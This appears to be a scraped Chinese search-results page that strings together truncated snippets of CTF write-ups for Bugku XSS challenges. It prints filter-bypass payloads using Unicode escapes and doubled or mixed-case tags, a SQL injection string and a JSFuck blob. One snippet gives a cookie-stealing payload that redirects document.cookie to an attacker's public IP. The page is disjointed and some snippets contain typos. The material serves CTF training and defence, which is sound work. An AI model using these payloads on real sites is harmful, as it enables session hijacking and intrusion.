bugku(XSS)

本文通过BUGKU留言板1的XSS绕过实战，深入探讨了Web安全中常见的过滤规则及其绕过技巧。从黑盒测试到规则推断，再到双写绕过等高级技术，文章详细解析了如何拆解过滤逻辑并制定精准绕过策略，为安全研究人员和开发者提供了宝贵的实战经验。

刚刚做了bugku的题目，现在整理一下 写出解题思路，希望能够帮助到那些需要帮助的人 所有的wp都是以一题一篇的形式写出 主要是为了能够让读者更好的阅读以及查找， 希望你们不要责怪！！共勉！！！ Challenge 645 Solves XSS 100 http://103.238.227.13:10089/ Flag格式:Flag:x...

XSS Platform (xsscom.com) 直接使用XSS平台 创建项目后，把代码复制到第一行空格去 再把加入代码后的url复制到第二行空格 就可以在xff网页看到flag了

XSS注入测试 1、请注入一段XSS代码，获取Flag值 2、必须包含alert(_key_)，_key_会自动被替换 题解： 首先我们查看源代码 发现可以通过xss注入  所以我们只需将转义即可  于是我们构造?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e 即可获得flag 如有疑问请联系qq：834368404

菜鸟学习CTF之路

      发现了一个xss学习的平台，上面有xss靶机，顺便巩固下之前关于xss的一些知识，这个平台还是很不错的。 Level 1       第一关直接审查页面源代码可以通过get方式进行弹窗，无过滤，pass payload: <script>alert...

XSS 100 http://103.238.227.13:10089/ Flag格式:Flag:xxxxxxxxxxxxxxxxxxxxxxxx 打开页面提示XSS注入，但是没有注入点啊。。。百度提示在url上加id参数。。 试试 ?id=1，有回显1，这下有注入点了    构造xss   http://103.238.227.13:10089/?id=&lt;scri...

先看一下题目描述 题目说注入一段规定的xss代码就能获得flag，那就先按照题目要求进行注入 这个时候发现_key_并没有被替换掉，查看一下源代码 发现注入的xss代码中尖括号被过滤了，这就好办了，可以使用Unicode编码进行绕过，（本来我是采用的url编码，发现绕不过。。。） 发现什么都没有，再次查看源代码 就能看到flag

  直接传入&lt;script&gt;alert(_key_)&lt;/script&gt;后发现尖括号被转义。 在i春秋看视频的时候也遇到过这种问题，将&lt;替换为\u003c，&gt;替换为\u003e即可绕过 于是我们就可以构造payload为?id=\u003cscript\u003ealert(_key_)\u003c/script\u003e 上传后果然获得了fla...

本文以BUGKU留言板1为例，深入解析XSS过滤绕过的‘套路’与‘反套路’，揭示Web安全中的攻防博弈。通过分析大小写变异、双写绕过等技巧，探讨如何设计更健壮的防御策略，如输入验证、输出编码和CSP。文章帮助开发者构建系统性的安全思维，提升XSS防护能力。

本文通过BUGKU-WEB留言板1的实战案例，详细解析了XSS过滤绕过中的双写与大小写技巧。文章揭示了str_replace函数的弱点，展示了如何利用双写绕过和大小写混合成功执行XSS攻击，并提供了更安全的防护建议，帮助开发者提升WEB安全防护能力。

本文描述了一个利用XSS漏洞窃取管理员cookie的过程：首先发现输入框存在XSS漏洞，通过注入脚本强制跳转到攻击者服务器。使用RequestBin平台接收请求，将cookie数据经Base64编码后通过URL参数发送。重点解析了窃取cookie的JS代码原理，包括window.location跳转、document.cookie获取、JSON格式化和Base64编码等关键步骤。完整流程展示了从漏洞发现到cookie窃取的全过程，并指出HttpOnly标记可防御此类攻击。

看到输入框我们首先想到可能是sql注入或者是xss注入。

XSS 先来最简单的弹窗 ?id=&lt;srcipt&gt;altert(/xss/)&lt;/script&gt; 查看源码 发现&lt;&gt;被过滤掉了 这里学到一个技巧，就是用Unicode编码绕过 payload:?id=\u003cimg src=1 onerror=alert(_key_)\u003e 速度要快 这种题就是编程题 上脚本，注意这题是用m...

本文介绍了bugku平台Web题【留言板1】的解题方法。题目需要利用XSS漏洞获取flag，通过双写+大写绕过过滤机制。payload使用了[img]<sCrSCriptipt>location.href="http://公网IP/?f="+document.cookie</ScScriptript>[/img]的形式，并在公网服务器上接收cookie信息。文中对比了该题与前作【留言板】的区别，指出本题无需登录admin.php即可完成攻击。

《CTF刷题路线：Web安全从入门到进阶》 摘要：本文为网络安全爱好者提供Bugku-CTF平台Web安全方向的系统性刷题路线。按照难度系数划分为5个等级，涵盖基础到高阶的Web安全知识点。从简单的查看源代码、绕过前端限制等基础操作（难度1），到SQL注入、文件包含（难度3），再到XSS、反序列化等高级漏洞利用（难度4-5）。每道题目都标注了核心考察点，如Burp使用、PHP伪协议、Flask模板注入等，帮助学习者循序渐进掌握Web安全攻防技能。作者ailx10作为网络安全领域优秀答主，分享其整理的实战刷题

alert(document.cookie) 得到falg。尝试在里面放个xxs 看看是否可以执行alert(1)

再次查看源代码发现表单的提交方式为 GET，将其更改为 POST。随便输入值后提交，提示方法对了，但不是 post 方式。发现是个表单，但是 POST 按钮点击不了。输入 admin' or 1=1 --+F12 检查源代码发现按钮被禁用了。F12 检查源代码发现 Flag。输入 admin'，密码随便。显示语法错误，判断存在注入。再次提交得到 Flag 值。删除 disabled。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[...